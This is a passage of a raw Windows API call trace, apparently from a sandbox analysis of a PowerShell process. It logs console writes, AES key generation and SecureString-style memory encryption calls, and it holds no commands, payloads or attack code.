lpCs=0x5a2e3a4) returned 0 [0223.216] GetConsoleOutputCP () returned 0x1b5 [0223.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0223.217] GetConsoleOutputCP () returned 0x1b5 [0223.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.217] GetConsoleOutputCP () returned 0x1b5 [0223.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.217] GetConsoleOutputCP () returned 0x1b5 [0223.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0223.217] GetConsoleOutputCP () returned 0x1b5 [0223.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0223.218] GetConsoleOutputCP () returned 0x1b5 [0223.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.218] GetConsoleOutputCP () returned 0x1b5 [0223.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.218] GetConsoleOutputCP () returned 0x1b5 [0223.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0223.218] GetConsoleOutputCP () returned 0x1b5 [0223.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0223.218] GetConsoleOutputCP () returned 0x1b5 [0223.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.219] GetConsoleOutputCP () returned 0x1b5 [0223.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.219] GetConsoleOutputCP () returned 0x1b5 [0223.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0223.219] GetConsoleOutputCP () returned 0x1b5 [0223.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0223.219] GetConsoleOutputCP () returned 0x1b5 [0223.220] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.220] GetConsoleOutputCP () returned 0x1b5 [0223.220] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0223.220] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0223.220] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0223.220] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24651e4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24651e4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0223.221] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0223.222] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0223.224] GetConsoleOutputCP () returned 0x1b5 [0223.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0223.224] GetConsoleOutputCP () returned 0x1b5 [0223.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0223.224] GetConsoleOutputCP () returned 0x1b5 [0223.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0223.225] GetConsoleOutputCP () returned 0x1b5 [0223.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0223.225] GetConsoleOutputCP () returned 0x1b5 [0223.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.225] GetConsoleOutputCP () returned 0x1b5 [0223.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.225] GetConsoleOutputCP () returned 0x1b5 [0223.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.225] GetConsoleOutputCP () returned 0x1b5 [0223.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.226] GetConsoleOutputCP () returned 0x1b5 [0223.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.226] GetConsoleOutputCP () returned 0x1b5 [0223.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.226] GetConsoleOutputCP () returned 0x1b5 [0223.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.226] GetConsoleOutputCP () returned 0x1b5 [0223.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0223.227] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0223.228] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0223.228] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x246568c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x246568c*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0223.228] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0223.229] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0223.229] GetConsoleOutputCP () returned 0x1b5 [0223.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.230] GetConsoleOutputCP () returned 0x1b5 [0223.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.230] GetConsoleOutputCP () returned 0x1b5 [0223.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.230] GetConsoleOutputCP () returned 0x1b5 [0223.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.230] GetConsoleOutputCP () returned 0x1b5 [0223.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.231] GetConsoleOutputCP () returned 0x1b5 [0223.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.231] GetConsoleOutputCP () returned 0x1b5 [0223.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.231] GetConsoleOutputCP () returned 0x1b5 [0223.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.231] GetConsoleOutputCP () returned 0x1b5 [0223.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.231] GetConsoleOutputCP () returned 0x1b5 [0223.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.232] GetConsoleOutputCP () returned 0x1b5 [0223.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.232] GetConsoleOutputCP () returned 0x1b5 [0223.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.232] GetConsoleOutputCP () returned 0x1b5 [0223.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.232] GetConsoleOutputCP () returned 0x1b5 [0223.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.233] GetConsoleOutputCP () returned 0x1b5 [0223.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.233] GetConsoleOutputCP () returned 0x1b5 [0223.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.233] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0223.234] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0223.234] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x246607c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x246607c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0223.234] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0223.235] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0223.236] EtwEventActivityIdControl () returned 0x0 [0223.236] EtwEventActivityIdControl () returned 0x0 [0223.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.236] EtwEventActivityIdControl () returned 0x0 [0223.236] EtwEventActivityIdControl () returned 0x0 [0223.236] EtwEventActivityIdControl () returned 0x0 [0223.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.239] EtwEventActivityIdControl () returned 0x0 [0223.239] EtwEventActivityIdControl () returned 0x0 [0223.239] EtwEventActivityIdControl () returned 0x0 [0223.241] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0223.242] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68d40) returned 1 [0223.243] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.243] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0223.243] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x246da48, pdwDataLen=0x5a2e8c4 | out: pbData=0x246da48*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0223.243] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.244] EtwEventActivityIdControl () returned 0x0 [0223.244] EtwEventActivityIdControl () returned 0x0 [0223.244] EtwEventActivityIdControl () returned 0x0 [0223.244] SysStringLen (param_1="") returned 0x8 [0223.245] SysStringLen (param_1="T") returned 0x8 [0223.245] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.245] SysStringLen (param_1="伺軝回Ἷޙ꘎␰생") returned 0x8 [0223.245] SysStringLen (param_1="伺軝回Ἷޙ꘎␰생") returned 0x8 [0223.245] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.245] SysStringLen (param_1="Tg") returned 0x8 [0223.245] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.245] SysStringLen (param_1="脣썬榌鹓ꄷ㋘潀ᅉ") returned 0x8 [0223.245] SysStringLen (param_1="脣썬榌鹓ꄷ㋘潀ᅉ") returned 0x8 [0223.245] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.245] SysStringLen (param_1="Tgl") returned 0x8 [0223.246] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.246] SysStringLen (param_1="䈫丶⻨╣韏撤皒") returned 0x8 [0223.246] SysStringLen (param_1="䈫丶⻨╣韏撤皒") returned 0x8 [0223.246] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.246] SysStringLen (param_1="Tglk") returned 0x8 [0223.246] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.246] SysStringLen (param_1="葻⎩풣㹙陵믱֐") returned 0x8 [0223.246] SysStringLen (param_1="葻⎩풣㹙陵믱֐") returned 0x8 [0223.246] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.246] SysStringLen (param_1="TglkI") returned 0x8 [0223.246] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.246] SysStringLen (param_1="팎딦쏸梞蜳뢤⍅၉") returned 0x8 [0223.246] SysStringLen (param_1="팎딦쏸梞蜳뢤⍅၉") returned 0x8 [0223.246] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.247] SysStringLen (param_1="TglkIA") returned 0x8 [0223.247] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.247] SysStringLen (param_1="抑ੑ邠鵞ણ抰䋌") returned 0x8 [0223.247] SysStringLen (param_1="抑ੑ邠鵞ણ抰䋌") returned 0x8 [0223.247] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.247] SysStringLen (param_1="TglkIAg") returned 0x8 [0223.247] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.247] SysStringLen (param_1="⁗ᇦ立柆牼䊢兼⛰") returned 0x8 [0223.247] SysStringLen (param_1="⁗ᇦ立柆牼䊢兼⛰") returned 0x8 [0223.247] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.247] SysStringLen (param_1="TglkIAgi") returned 0x8 [0223.247] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.248] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎⋕) returned 0x8 [0223.248] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎⋕) returned 0x8 [0223.248] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎⋕) returned 0x8 [0223.248] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎⋕) returned 0x10 [0223.248] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.249] SysStringLen (param_1="TglkIAgi4䛚꫶槉ꗣ᤾㴽ᡷ") returned 0x10 [0223.249] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.249] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎跕͓푫崛緢⏤ꠡ뵨≀) returned 0x10 [0223.249] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎跕͓푫崛緢⏤ꠡ뵨≀) returned 0x10 [0223.249] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.249] SysStringLen (param_1="TglkIAgi4U꫶槉ꗣ᤾㴽ᡷ") returned 0x10 [0223.249] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.249] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎₆ᘓ楺鵸聵鴧ࣞ∭) returned 0x10 [0223.249] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎₆ᘓ楺鵸聵鴧ࣞ∭) returned 0x10 [0223.249] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.249] SysStringLen (param_1="TglkIAgi4UW槉ꗣ᤾㴽ᡷ") returned 0x10 [0223.249] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.249] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎뷕➄ꂛ෬ʪ赓胠ᜟ⋎) returned 0x10 [0223.249] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎뷕➄ꂛ෬ʪ赓胠ᜟ⋎) returned 0x10 [0223.250] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.250] SysStringLen (param_1="TglkIAgi4UW3ꗣ᤾㴽ᡷ") returned 0x10 [0223.250] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.250] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ᷕኞ⌉趒䰃\ꏘ딠") returned 0x10 [0223.250] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ᷕኞ⌉趒䰃\ꏘ딠") returned 0x10 [0223.250] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.250] SysStringLen (param_1="TglkIAgi4UW3n᤾㴽ᡷ") returned 0x10 [0223.250] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.250] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎\僛׶拃趬੖ꤏ垴힕") returned 0x10 [0223.250] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎\僛׶拃趬੖ꤏ垴힕") returned 0x10 [0223.250] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.250] SysStringLen (param_1="TglkIAgi4UW3nJ㴽ᡷ") returned 0x10 [0223.250] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.251] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎拕絰ⲥ謿虃㣯ƳɊ⋉) returned 0x10 [0223.251] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎拕絰ⲥ謿虃㣯ƳɊ⋉) returned 0x10 [0223.251] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.251] SysStringLen (param_1="TglkIAgi4UW3nJoᡷ") returned 0x10 [0223.251] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.251] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎㓕㛴襼噄ஃ㋫≐∹) returned 0x10 [0223.251] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎㓕㛴襼噄ஃ㋫≐∹) returned 0x10 [0223.251] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.251] SysStringLen (param_1="TglkIAgi4UW3nJoJ") returned 0x10 [0223.251] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.251] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่⋮) returned 0x10 [0223.252] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่⋮) returned 0x10 [0223.252] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่⋮) returned 0x10 [0223.252] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่⋮) returned 0x18 [0223.252] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.253] SysStringLen (param_1="TglkIAgi4UW3nJoJaꀙᥠ觡⦎肙⏕") returned 0x18 [0223.253] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.253] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่裧憳馋择樂俵똜∹) returned 0x18 [0223.253] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่裧憳馋择樂俵똜∹) returned 0x18 [0223.253] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.253] SysStringLen (param_1="TglkIAgi4UW3nJoJaOᥠ觡⦎肙⏕") returned 0x18 [0223.253] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.253] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่췮闧ﱽ祴裝ớ\㯞哀") returned 0x18 [0223.253] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่췮闧ﱽ祴裝ớ\㯞哀") returned 0x18 [0223.253] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.253] SysStringLen (param_1="TglkIAgi4UW3nJoJaOi觡⦎肙⏕") returned 0x18 [0223.253] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.253] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่ዮ鷳㔅螐쥻ೆ⁑忊⊺) returned 0x18 [0223.254] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่ዮ鷳㔅螐쥻ೆ⁑忊⊺) returned 0x18 [0223.254] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.254] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF觡⦎肙⏕") returned 0x18 [0223.254] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.254] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่燮钄࠭ῇ邔鞵\ᴹ") returned 0x18 [0223.254] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่燮钄࠭ῇ邔鞵\ᴹ") returned 0x18 [0223.254] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.254] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0⦎肙⏕") returned 0x18 [0223.254] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.254] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่꿮幣硯擠ᷗ暇槽뉆≤) returned 0x18 [0223.254] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่꿮幣硯擠ᷗ暇槽뉆≤) returned 0x18 [0223.254] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.254] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0i肙⏕") returned 0x18 [0223.254] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.255] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่㣮ᨼ쀡掿ꖕ阤귵≈) returned 0x18 [0223.255] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่㣮ᨼ쀡掿ꖕ阤귵≈) returned 0x18 [0223.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.255] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ix⏕") returned 0x18 [0223.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 